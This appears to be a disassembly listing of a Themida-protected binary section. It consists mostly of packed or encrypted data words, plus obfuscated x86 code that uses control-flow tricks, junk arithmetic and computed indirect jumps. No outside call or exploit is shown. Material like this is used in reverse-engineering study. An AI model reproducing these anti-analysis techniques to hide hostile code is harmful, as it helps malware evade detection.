		dd 0CCA50D16h, 76B7D57Eh, 7109DD8h, 3F65812Eh, 0FFE08D8Dh
		dd 5CDC77B5h, 34D269CBh, 0E226608Eh, 0A0B5FFDFh, 0E0272177h
		dd 86BCAB22h, 0DC069E74h, 61B75828h, 6D5674DFh,	9F0086CFh
		dd 0AE6FB4FDh, 0F711B50Eh, 0C356D66Ah, 0E8CBFF58h, 0EBF50D44h
		dd 0D0056B2Dh, 0B0DE0494h, 1CB8F00Ah, 0A18AC356h, 0CC85A877h
		dd 0FFB6D57Eh, 0D1C0E5C9h, 7BC4E7E5h, 0BB0h, 7ECC85A4h
		dd 0A9FDB8D5h, 9F2B6206h, 0CF5B1E34h, 388EC364h, 7314FEB3h
		dd 2747E83Eh, 0D173DC6Ah, 82A10298h, 7DEF7FCBh,	32DCFCBh
		dd 0C877B5B6h, 0F09D5CFFh, 7B54113Dh, 0D6FD3D4Fh, 6CC7AF57h
		dd 0D6752E73h, 90B27717h, 6E4750DDh, 0B2FFE8C1h, 0D6DD46EFh
		dd 0CA8FEB7h, 12DFD210h, 27F7h,	0B5E74800h, 93AED80Eh
		dd 71B5FFE4h, 99BF20C6h, 3AEB58D0h, 6BD4521Bh, 9B1C81C8h
		dd 22648239h, 0BCA7F197h, 5F44C26Dh, 723B59BAh,	0F3BCFC2Dh
		dd 41EF1B5Eh, 57D70307h, 0B056C1AFh, 57D71216h,	0D147F0AFh
		dd 0D7A2916Bh, 6301AF57h, 892B9C2Ah, 0EC6E9432h, 0C449A609h
		dd 3C55317h, 0B6041895h, 0BD26C46Fh, 0AE54D29Bh, 1C8F2745h
		dd 76335A0Eh, 0DB44E9C2h, 9D1BF4BDh, 0CA18F496h, 59FF135Fh
		dd 40000001h, 87C1B7E7h, 0AF57D783h, 8FDD641h, 0DA1CBAh
		dd 6B587E43h, 70B7B1E7h, 71AF5882h, 0DDBA2318h,	0E7EC6FCBh
		dd 791308ABh, 85B4E79Ch, 0E32761E9h, 0A1AF57D6h, 50459D76h
		dd 24240E11h, 0F8EDDAB3h, 1430BA13h, 0F30C42ADh, 33E753ABh
		dd 0F0CA6197h, 86F0FCB8h, 471715DFh, 28000000h,	743959BAh
		dd 742F6324h, 0A7C72856h, 0D6E820EAh, 56D2AF57h, 0F8380485h
		dd 8C2C07C7h, 500BAA7h,	0FFAF57D7h, 0DDBA7754h,	0AEEA1CBAh
		dd 94AF57D6h, 64294ABBh, 84CD6B34h, 0BE21C5A7h,	5E45D39Ah
		dd 2FDFh, 1CBAFA00h, 57D6AEEAh,	153394AFh, 7235635Ch, 0BA8663DCh
		dd 57D70500h, 9673DCAFh, 59FFDDBAh, 6F09EA10h, 8A0F926h
		dd 0BE21C523h, 5358D09Dh, 0DFCAE8F4h, 3AEF15h, 0E7300000h
		dd 0BA180DB4h, 9D91DD30h, 0B5E3D854h, 151A1DAFh, 4FE8AF58h
		dd 5F1A389Bh, 0DDBAD2D9h, 321752FFh, 4FDFE0C5h,	3B000000h
		dd 0B7BCC7B1h, 0A02D4E2Dh, 25A73FBCh, 3F64B4FEh, 180DB4E7h
		dd 0D70500BAh, 73DCAF57h, 0DA1CBA96h, 31929EE4h, 206C0AFh
		dd 0C8AF583Eh, 8FD0D4A2h, 73DC2E03h, 0BA503F25h, 33703559h
		dd 5CF1BEFAh, 547ED19h,	0AF57D705h, 0DFC454FFh,	9EDFE0C5h
		dd 0FAFFFFFEh, 0D80EB5E7h, 31A7BAEh, 38EE49B6h,	591C3192h
		dd 642D50DFh, 723B5D46h, 4AEB5C26h, 79B1CBFFh, 4BB6031Ah
		dd 0E9B03AE0h, 4850695Eh, 10DA49EFh, 0B603A51Ah, 7FA4E989h
		dd 6BC885A6h, 2AD598BAh, 0F912081h, 0B2DAFD5h, 0B2D74B6Fh
		dd 3B5C5C66h, 0F802B603h, 0B6033AC0h, 0FE59A982h, 5260C1BAh
		dd 1474B666h, 3E81h, 36115B00h,	0BF3424C8h, 0A9760A22h
		dd 0E7F05851h, 5EA66AB1h, 45AF57D7h, 0CEE48E26h, 0DA145DFBh
		dd 1BF49565h, 0D07E618Fh, 0EBBC0395h, 5E000000h, 58929630h
		dd 7311AF58h, 22A4F53Ah, 0E784AF09h, 0ADE886B5h, 94B61700h
		dd 803AE0D9h, 0B5FFD99Dh, 6D244467h, 0E4045674h, 0D9A592BAh
		dd 957EE434h, 0C768BEF7h, 0C647ECA5h, 9339ED56h, 0D2460330h
		dd 0AB571514h, 0A644EFBCh, 0B0561F3Dh, 34642D4Fh, 1E3FA04Eh
		dd 0ADF2B7DBh, 8A15837Ch, 0BD7EA3EAh, 0D806A41Fh, 0AB576AAEh
		dd 0CECA7CBCh, 0B4BCAB56h, 48E04B9Bh, 98D718A2h, 0AADC356h
		dd 24FD226Bh, 0C8E14E03h, 99912BDFh, 6BC35699h,	0D033D7C0h
		dd 0E486E7A2h, 0FAE50FA9h, 2B94125Bh, 24668C08h, 0C35698E4h
		dd 4D4D75DEh, 37C35699h, 385231Ch, 0DE5D144h, 822D5AEh
		dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh,	0B5D679CDh
		dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh,	0E1256C0Fh
		dd 65A5E705h, 5FB60331h, 5CFF3219h, 74178815h, 626893Dh
		dd 0F1BCDE4Fh, 0E845C4A7h, 541D4047h, 0D68A66D6h, 2A6D12DFh
		dd 0B6000000h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h, 4CF315DFh
		dd 36B5FFE1h, 4E56901Dh, 6AB5FFE1h, 26122081h, 0C11477DCh
		dd 50h,	0EB5E75Ah, 3751B2D8h, 87F8317Eh, 1700ADE4h, 0DDDC4781h
		dd 8DA6B5FFh, 58DC7F20h, 0FFDDEA2Eh, 0D499B9B5h, 9A403912h
		dd 9F54DF50h, 6CCCF62Dh, 571E3DE6h, 68D341CAh, 783D51B2h
		dd 0AD902A30h, 97BCA7F9h, 12CC0EBCh, 955940F4h,	0EDCAB0F8h
		dd 0FFFB30BAh, 0D8A0397Bh, 0AB4C3150h, 0EE14B209h, 1AB65C6Ch
		dd 9D0E136Fh, 0E563B5F0h, 0B5FFF076h, 548B024Ch, 0AC2F0DCBh
		dd 44C517B3h, 2B4232A7h, 35DF47D1h, 0C23D7D8Fh,	2C07B600h
		dd 0CE17A8Ch, 7ADA7677h, 9CE325C1h, 667D1F3Fh, 75A760CDh
		dd 69EE18CEh, 5B83C779h, 43ACCAF0h, 0D4C56A2Fh,	79949436h
		dd 0C56E83C7h, 0E0A9CC53h, 633ABC5Ah, 93DA7A24h, 5DD7BE5Bh
		dd 783154DBh, 60C74240h, 0D0B17225h, 6D0h, 5EECA5C4h, 891D58F5h
		dd 0FF4B0226h, 2F7B3E54h, 18AEE384h, 1334DE93h,	0C767C85Eh
		dd 0F1933C8Ah, 0A2C162B8h, 1DCF5FEBh, 332AFEBh,	0E85795B6h
		dd 0F09D5CFFh, 463F68B5h, 692048D9h, 486C3BBDh,	0F26584EAh
		dd 38B2DF23h, 38701BE1h, 2D4BB452h, 0C1733464h,	0D0A4C7Ah
		dd 9E564D6Dh, 0AAEF84E5h, 55BEE40Eh, 1A53F134h,	0DAB8495h
		dd 391C0FBh, 4A982B6h, 14B4FD9Bh, 0F3244B88h, 4D5A2B88h
		dd 41000006h, 78DB6F26h, 0A7089EDBh, 0D172C881h, 1A2F8BDh
		dd 12992D60h, 0DF92B35Fh, 0B46E84Bh, 397014BFh,	6A2342EDh
		dd 689248DCh, 0B6033330h
		dd 0E76FD412h, 0AED80EB5h, 0B6031A67h, 3DB0FF79h, 76DCE7AEh
		dd 97331C22h, 718B0B2Ch, 0B6031139h, 0E137200Bh, 0CE87A102h
		dd 24CC8C1Ah, 562F8CF3h, 5ECh, 0AAF0B9E0h, 0E5216409h
		dd 0D3571E3Ah, 387C270h, 74B2FFA0h, 2748CAEFh, 0D373DC6Ah
		dd 85A7089Eh, 0B6D57ECCh, 2933ABFFh, 3349B9Fh, 42369B6h
		dd 0D80EB5E7h, 31A63AEh, 0A9F621B6h, 0EF1950F8h, 0F324C3C1h
		dd 0A113ECCFh, 95000005h, 0C46FBBF2h, 0F35CEAAFh, 258E1C55h
		dd 55FE4C09h, 0A62D7934h, 135EFF13h, 470A2C97h,	753C60C3h
		dd 0A6EF8E31h, 24668460h, 0B60333E4h, 0FFB398DEh, 1788155Ch
		dd 2FF03D74h, 47D8450Ch, 0E8C16E2Bh, 1B98D177h,	0D77DBDCFh
		dd 0EC47AF57h, 0C453DC49h, 343BE451h, 24C25811h, 44D49DBBh
		dd 0ACF1B8DBh, 57D76BAAh, 5B1638AFh, 64214DD6h,	0A199233Fh
		dd 63AF57D7h, 4CD542C8h, 0D6C2C600h, 9780AF57h,	0CE57C4BEh
		dd 890CA4C7h, 0D6DCC9C1h, 9B04827Bh, 561F39F8h,	171216B0h
		dd 47F0AF58h, 3D60C16Eh, 9883DA95h, 29020673h, 318A2A9Dh
		dd 0EF846F95h, 841405AAh, 61B42h, 0E14EE9B6h, 6DADDF05h
		dd 57B60006h, 6AAABCFCh, 6B60006h, 57B804ADh, 783C7C35h
		dd 1477FD8Ch, 3C6Bh, 0B5E7BC00h, 8B2D80Eh, 0AF57D710h
		dd 40E859F2h, 345AF09h,	0B60004ECh, 36307DD6h, 0B60004EEh
		dd 3C80218Ah, 0B7FCB5D3h, 2064066h, 0C0B60005h,	7955C157h
		dd 9C1477F8h, 0F9h, 155CFFA7h, 3B761788h, 98EE68F6h, 0C089AFABh
		dd 0D76E7B36h, 587F75B5h, 0BE44FAFh, 7F6DADDFh,	0FC57AF58h
		dd 1950F3BCh, 0C0680B94h, 98F97A79h, 2FAF279Eh,	73B52F63h
		dd 2DDF6B44h, 0AF587E2Ch, 0DD7CD477h, 45DB9DFAh, 9A05817Ah
		dd 54193AFBh, 0A81414B6h, 45EEAF58h, 0D646C76Ch, 0A50A43E5h
		dd 7FFE7A74h, 0F5BE667Ch, 2D5CEE1Ch, 17B6003Fh,	0E1DA9FB4h
		dd 9B2E2A5h, 0E17EABDDh, 3A60BCAAh, 0AAE18880h,	0EC2C5EBCh
		dd 0D6BCAAE0h, 56C26D7Dh, 3D5B8FA8h, 0AAE18F8Bh, 5EDA75BCh
		dd 470A2B94h, 535329A3h, 0AE730F03h, 89C4A54h, 0D741BDB2h
		dd 0ECA1C26Dh, 7CAE8E3Ch, 2C9516ECh, 3C8h, 56D49DBCh, 810540EDh
		dd 0F7337A1Eh, 2763264Ch, 1096DB7Ch, 0B2CE68Bh,	3F5FC046h
		dd 0E98B3472h, 9AB91AA0h, 15D757D3h, 335B7F3h, 0E04F8DB6h
		dd 97135EFFh, 0FA40092Ch, 0C3B5E7DDh, 57D781B9h, 0FFE843AFh
		dd 0BBFA81CBh, 21DC9278h, 0C4DB6DF7h, 0BEB6003Eh, 98D20895h
		dd 0A4B931B9h, 63E5334Bh, 0B600A223h, 4F4BD4BFh, 14771D53h
		dd 0DFBAh, 5CFF8D00h, 83FCAFF4h, 57F14179h, 0DE2803AFh
		dd 0A145C2B6h, 582B2367h, 5D36E1AFh, 5AEC0AD0h,	0AF582B5Eh
		dd 0F99A0B24h, 9ABB64B4h, 0C7804AD7h, 0DCAF582Fh, 9AAF0B9h
		dd 3DFE236Ah, 5886249Fh, 119EDB77h, 23569018h, 0E1B60040h
		dd 0E557F036h, 2547A85Eh, 1356FB6Ch, 0D11B9D8Eh, 6D2448ABh
		dd 0DEAD3DCBh, 7197BCAAh, 0DF79B1CBh, 0E04BBCAAh, 0AADEE226h
		dd 9E77A0BCh, 0ADE48768h, 5DFEE10Bh, 8298A10h, 0FEF1A345h
		dd 0C4E7EC7Ch, 2C77Bh, 0D59CBB00h, 441EE51h, 327B1D86h
		dd 62274BF4h, 97DA7B24h, 2DE59413h, 5AC5410Ch, 8E317538h
		dd 0C063A7EEh, 0D656D49Dh, 36B6F214h, 4E8CB603h, 135EFFE1h
		dd 7FEF6997h, 3B1BFF37h, 92B17EBAh, 47812FDBh, 0AF58B243h
		dd 94B51601h, 0CEF55FD9h, 0F1155CFFh, 0C3769367h, 76D7F648h
		dd 0B31098D5h, 0F09253F2h, 9846C4BDh, 0DE5A1737h, 0AA50EB49h
		dd 64A4E60Ch, 5EAF57F7h, 0FAA5A3F5h, 0C8B60001h, 0FE24C26Fh
		dd 24C4Ch, 0C51D36B6h, 7B9C3CDEh, 489E1A0Ah, 0B5FFE34Ch
		dd 10228368h, 1477DE24h, 3BC3h,	0B5E76400h, 5BF7D80Eh
		dd 0D73BA7FFh, 0A982E7F3h, 5F851304h, 0E3A2Dh, 0FB2F08B6h
		dd 0DEF2B5Dh, 0F2D5B600h, 892F185Dh, 0DD4D01Ah,	1BF0B600h
		dd 0E1AC989Ah, 374B1477h, 0DC000000h, 0AEEA1CBAh, 94AF57D6h
		dd 0ACEB7DBBh, 0EFAF57D6h, 86D0F64Dh, 2D728B04h, 866CCC14h
		dd 0FFE68944h, 36587BB5h, 0CE5367Bh, 0CC6F50BEh, 0FD226B0Dh
		dd 3D6EB3ACh, 0B5E7B0FBh, 2B6B2BEFh, 6D465FB7h,	0C1A40FB9h
		dd 0B59EB600h, 0C68FAE11h, 7BE84059h, 0C1B3F3h,	0BB64CFB6h
		dd 7739C3BFh, 322A14h, 963C0000h, 0CA3474h, 0F3250EB6h
		dd 0D75EA6A8h, 0FF5DAF57h, 6964A644h, 5BB5FFE4h, 264CAAF0h
		dd 0FFE4A4E4h, 0CE789EB5h, 0B5FFE4CAh, 45A69FB8h, 0DBC06825h
		dd 5EBA30BAh, 90FF01B8h, 962D8F18h, 30C3D670h, 9681B603h
		dd 0A5EC8F70h, 5E9FBE61h, 1257FB3Ah, 0CAA3F439h, 2953F965h
		dd 0B60330F1h, 742F0D3h, 9F3D8A2Eh, 0EEC78AACh,	25D5BE38h
		dd 58621A85h, 0C802EF73h, 50D8F539h, 0EF836C8Ah, 0B31405AAh
		dd 5851DE93h, 3A8016D0h, 0E942BCAEh, 82C973Dh, 3A81B941h
		dd 0E843BCAEh, 1A399A40h, 274CB753h, 4CEC3D62h,	773E5DC6h
		dd 8833612Ah, 54212852h, 0DCC7C356h, 96B8F0B9h,	8A530BBDh
		dd 0B675E5D1h, 0BFCDh, 0DD94B300h, 0C49E649h, 3A7315BEh
		dd 6A2F43ECh, 9FD273DCh, 25ED8C0Bh, 52FD4904h, 86297D30h
		dd 0B81BAFE6h, 0DE4EDC95h, 38BEFA0Ch, 4684B603h, 0EFB5E7D9h
		dd 0CCBF7ABFh, 54FA6B10h, 0A29B8C11h, 1F30C204h, 3912B603h
		dd 0DFC06EF4h, 71AAF7B2h, 31F5149h, 901833B6h, 80AD6C0Fh
		dd 564F58C5h, 85CC6FD0h, 62A4C218h, 0B6031F26h,	4C4CFE1Ch
		dd 36B6031Fh, 72F4241Dh, 2C9E21ADh, 82CE57C4h, 0E54A0321h
		dd 0F30D8355h, 7F68DCC9h, 9ED77639h, 61E58768h,	9E10E327h
		dd 9D76A12Ch, 6F0EB11Bh, 826DF926h, 1506ABE2h, 33761C83h
		dd 0E1426BEEh, 0B4F2BBDAh, 0FC21680Bh, 303h, 0CBB02600h
		dd 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h, 2E733E5Fh
		dd 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh
; ---------------------------------------------------------------------------
		cli
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 0F261E89h
		and	edx, 705F0D27h
		sub	edx, 3C7E5CCFh
		or	edx, 20D365E4h
		shl	edx, 1
		and	edx, 11B91251h
		sub	edx, 0FAFDCD98h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	6D4Bh
		mov	[esp], eax
		sub	dword ptr [esp], 60B5474Bh
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 60B5474Bh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 40FEh
; ---------------------------------------------------------------------------
		js	short locret_57FE4A


loc_57FDDA:				; CODE XREF: Themida_:loc_57DDDEj
		mov	eax, 6AB6330h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0EF106D03h, 0B002C9E8h, 0DF70E816h, 0C1CCA96h, 0D72BCA7Ah
		dd 0BD11C50Ah, 8861CAE3h, 8D4407D8h, 0E834325Ch, 6, 714B9ACCh
		dd 0B9581B26h, 7D1349DEh, 6392C081h, 6E90000h, 93000000h
		dd 19EB38C2h, 18B9BFE4h, 37B20000h, 0CE8188Bh, 12000000h
		dd 6846DB38h, 552200E0h, 66C90A0Dh, 0E8CAE281h
		db 5Eh,	81h
; ---------------------------------------------------------------------------

locret_57FE4A:				; CODE XREF: Themida_:0057FDD8j
		retn
; ---------------------------------------------------------------------------
		db 0D4h	; Ô
		db 0E8h	; è
		db  7Eh	; ~
		db  63h	; c
		db 0E9h	; é
		db  0Eh
		db    0
		db    0
		db    0
		dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0F3816654h, 0CFCD2E7h
		dd 7E9h, 2E52800h, 0E534415h, 21AFC381h, 0FB553B2h, 0C2811889h
		dd 5651CD29h, 1931E881h, 800F6C7Fh, 3, 81F2BF0Fh, 7F192DC0h
		dd 516CBE6Ch, 0F4F13BDh, 0FFFF8B85h, 14E9FFh, 11E00000h
		dd 0B55AA670h, 97EA394Ah, 9E5EC052h, 0C9709ACBh, 12E80C8Fh
		dd 3F000000h, 128A7F01h, 547B110Dh, 0CA5300B7h,	6DCBB785h
		dd 815BF5D5h, 500922C6h, 0FAC38106h, 0F5000058h, 161F68h
		dd 12E800h, 0E3B50000h,	14A29061h, 6FA97C25h, 278A0218h
		dd 6328507Fh
; ---------------------------------------------------------------------------
		pop	ecx
		pop	eax


loc_57FF02:				; CODE XREF: Themida_:0057FF3Cj
		push	dword ptr [ebx]
		adc	ecx, 30849DB6h
		pop	edx
		mov	ecx, 161DC819h
		sub	edx, 2F9ED471h
		movsx	ecx, cx
		add	edx, 4F8CC529h
		mov	cx, di
		add	edx, 0E38EDF9h
		movsx	ecx, cx
		mov	[ebx], edx
		mov	edi, 191034E0h
		sub	ebx, 4
		cmc
		sub	eax, 1
		jnz	loc_57FF02
		movzx	ecx, si
		jmp	loc_58034A
; ---------------------------------------------------------------------------
		align 4
		db    0
		align 2
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 10h
		dd 25h dup(0)
		db 2 dup(0)
word_580046	dw 0			; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		dd 0BDh	dup(0)
		dd offset loc_55FFFF+1
		dd offset dword_445750+0A8B0h
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58034A:				; CODE XREF: Themida_:0057FF45j
		jmp	loc_581482
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58035A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58035A	proc near		; CODE XREF: Themida_:00580352p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58035A	endp

; ---------------------------------------------------------------------------
		mov	ds:257DA5BDh, al
		or	ecx, [ebp+9]
		jmp	loc_58037E
; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------
		rol	dword ptr [ebx-63049C83h], cl


loc_58037E:				; CODE XREF: Themida_:00580372j
		mov	eax, [ebp+6A8069Dh]
		sub	[ebp+6A80E65h],	eax
		cmp	[esp+4], eax
		jnz	loc_580412
		pusha
		jl	loc_5803A1
		mov	eax, [ebp+6A82F0Dh]


loc_5803A1:				; CODE XREF: Themida_:00580395j
		sub	edi, [ebp+6A82261h]
		popa
		cmp	dword ptr [ebp+6A80A99h], 0
		jz	loc_580412
		push	0
		push	esi
		call	sub_5803C0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5803C0	proc near		; CODE XREF: Themida_:005803B8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5803C0	endp

; ---------------------------------------------------------------------------
		mov	dh, 0A2h
		or	al, [ecx]
		lea	eax, [ecx+31h]
		test	al, 6
		mov	[ebp+6A826A5h],	ecx
		lea	eax, [ebp+6A83AC3h]
		jnp	loc_5803F1
		xor	[ebp+6A82C71h],	edi


loc_5803F1:				; CODE XREF: Themida_:005803E5j
		jmp	eax
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5803FE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5803FE	proc near		; CODE XREF: Themida_:005803F6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5803FE	endp

; ---------------------------------------------------------------------------
		dw 4231h
		db 50h,	35h
; ---------------------------------------------------------------------------


loc_580412:				; CODE XREF: Themida_:0058038Ej
					; Themida_:005803AFj
		mov	eax, [ebp+6A80D2Dh]
		push	0
		push	ecx
		call	sub_580423
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580423	proc near		; CODE XREF: Themida_:0058041Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_580423	endp

; ---------------------------------------------------------------------------
		db 82h
		dd 0CB6229D8h, 0E840Fh,	89600000h, 0A8218995h, 1FC28106h
		dd 616C0CBEh, 4244439h,	64850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8E0F4FC3h
		dd 8, 2860Fh, 61600000h, 693985C7h, 106ABh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8960F1C3h, 0A81411BDh, 0DD858B06h, 6106A81Eh, 16D98501h
		dd 96006A8h, 0A825A19Dh, 0AE906h, 85890000h, 6A82985h
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_5804D5:				; CODE XREF: Themida_:005804DDj
		xchg	eax, [ebp+6AB6ABFh]
		or	eax, eax
		jnz	short loc_5804D5
		push	dword ptr [ebp+6A815D5h]
		pop	dword ptr [ebp+6AB6931h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6A80F89h]
		cmp	dword ptr [ebp+6A80629h], 0
		jz	short loc_580506
		push	0
		call	dword ptr [ebp+6A81B31h]


loc_580506:				; CODE XREF: Themida_:005804FCj
		cmp	dword ptr [ebp+6A81FE5h], 1
		jz	short loc_58051C
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6A80F89h]


loc_58051C:				; CODE XREF: Themida_:0058050Dj
		stc
		push	0
		push	edx
		call	sub_580528
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_580528	proc near		; CODE XREF: Themida_:00580520p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_580528	endp

; ---------------------------------------------------------------------------
		dd 0AE7EFCA3h, 13E9h, 0EF612800h, 139038D1h, 1A1A5A3Dh
		dd 0EC71F15Ah, 0B11F510Eh, 8D89C02Bh, 6A80031h,	2824548Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B0C35242h
		dd 7D858963h, 6A06A80Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0FB19C357h,	0E9D1C242h
		dd 6, 3532564Bh, 0F6017E0h, 689h, 75B50100h, 8906A833h
		dd 0A83191B5h, 3CBE6106h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7661C355h
		dd 68E0Fh, 95010000h, 6A821E1h,	24247403h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 39C35545h, 0AD9D29C3h
		dd 6606A82Ah, 75BD89ADh, 306A831h, 6A242444h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 2900C357h, 892021FAh, 8509DD67h, 6A82FD9h, 60525050h
		dd 0DE8h, 1828FF00h, 87250165h,	3C1F263Dh, 52586E00h, 310F615Ah
		dd 14E9h, 0B7A50F00h, 0FD75EEBh, 0EC40F21Dh, 0A35B72EFh
		dd 0CAA42196h, 89585AA0h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8D8993C3h, 6A806F1h
		dd 6A78408Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E9BCC352h, 0Eh, 9916B9EFh, 0B3996E4Bh
		dd 9CE40A56h, 8D0F01B2h, 6, 1A758589h, 0BD8306A8h, 6AB6939h
		dd 0FA850F00h, 0F000000h, 18Ah,	8529FC00h, 6A80E4Dh, 60525090h
		dd 13E8h, 0AFBB7B00h, 41AECAF2h, 0FF21241h, 0F71D320Eh
		dd 8513B8B8h, 0F52505Fh, 61585A31h, 0BA60310Fh,	61BA5D5Dh
		dd 61D18B66h, 0F50585Ah, 1082h,	0BE900h, 0C4860000h, 0C064A044h
		dd 0C464D430h, 6A90F2h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 9E8439C3h, 519589F5h, 8B06A801h
		dd 6A2C2444h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8984C356h, 0A833459Dh,	8A0F9006h
		dd 12h,	52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 6050585Ah
		dd 0C28A5853h, 85299061h, 6A819F5h, 3C37858Dh, 8C0F06ABh
		dd 6, 9019D01h,	0D0FF06A8h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 69C35747h, 24440317h,	8E928h,	0C14D0000h
		dd 63ED9637h, 408B3DABh, 55006A18h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 38202A1Eh, 6A400179h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0A017C353h, 840AF6B1h, 60602131h,	2DA58D0Bh
		dd 0B52306A8h, 6A81FA5h, 61D4B561h, 69358589h, 0B58906ABh
		dd 6A806B1h, 56006A58h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 78708B0Ah, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 17h, 62C35747h, 0F9237207h, 6A1CC683h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C531C355h, 719529F5h, 9606A80Fh,	19919589h
		dd 7C8106A8h, 2424h, 870F1000h,	0C9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 4CC35141h, 0E58D898Ch, 906A82Fh
		dd 0A80FC185h, 66605006h, 0F08BF98Bh, 24048961h, 24448BF5h
		dd 1890F28h, 0F5000000h, 8850F90h, 0F000000h, 281h, 50616000h
		dd 0CE95250h, 0A2000000h, 0BC3EC211h, 6314E0h, 0FFFC44Fh
		dd 6E931h, 403D0000h, 3D740481h, 0FC90585Ah, 3C37858Dh
		dd 0FFFC06ABh, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0D76A8EB9h, 0E96090FBh
		dd 0Ah,	1DC80C42h, 6602745h, 8166B448h,	61A39DEAh, 10E9h
		dd 0C4075400h, 43E78877h, 1A3B97D9h, 32E06A11h,	6A96EFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 800F05C3h, 1, 12E9F5h, 0B0F20000h, 8F324078h, 0CAC087Fh
		dd 59CEDE92h, 7711F1FAh, 24247403h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 77C35646h, 0BDDFE7C4h, 625BD3C0h
		dd 0A5B58B60h, 6106A82Dh, 0E850Fh, 9E90000h, 1000000h
		dd 0A94955C6h, 0C11374F2h, 317DBD8Dh, 6A06A8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 32374DC3h, 0DD11F76Ch, 0A860FDEh, 60000000h,	5F90D6BAh
		dd 0D4D5800Eh, 14E86061h, 0B9000000h, 29682F6h,	6D482528h
		dd 0F72E69E4h, 97B38893h, 0F9E6665h, 0E958F9BFh, 5, 4BC42A5h
		dd 60AD6141h, 24ED8D03h, 9D8B06A8h, 6A81B29h, 13E961h
		dd 0BB20000h, 9722FA60h, 5E928C5Ah, 0CC7649B8h,	0C82AF691h
		dd 247C81DBh, 24h, 23870F10h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C030C350h
		dd 608AC60Ch, 8BF28B66h, 0A80685B5h, 0E9906106h, 6, 5DE8B81h
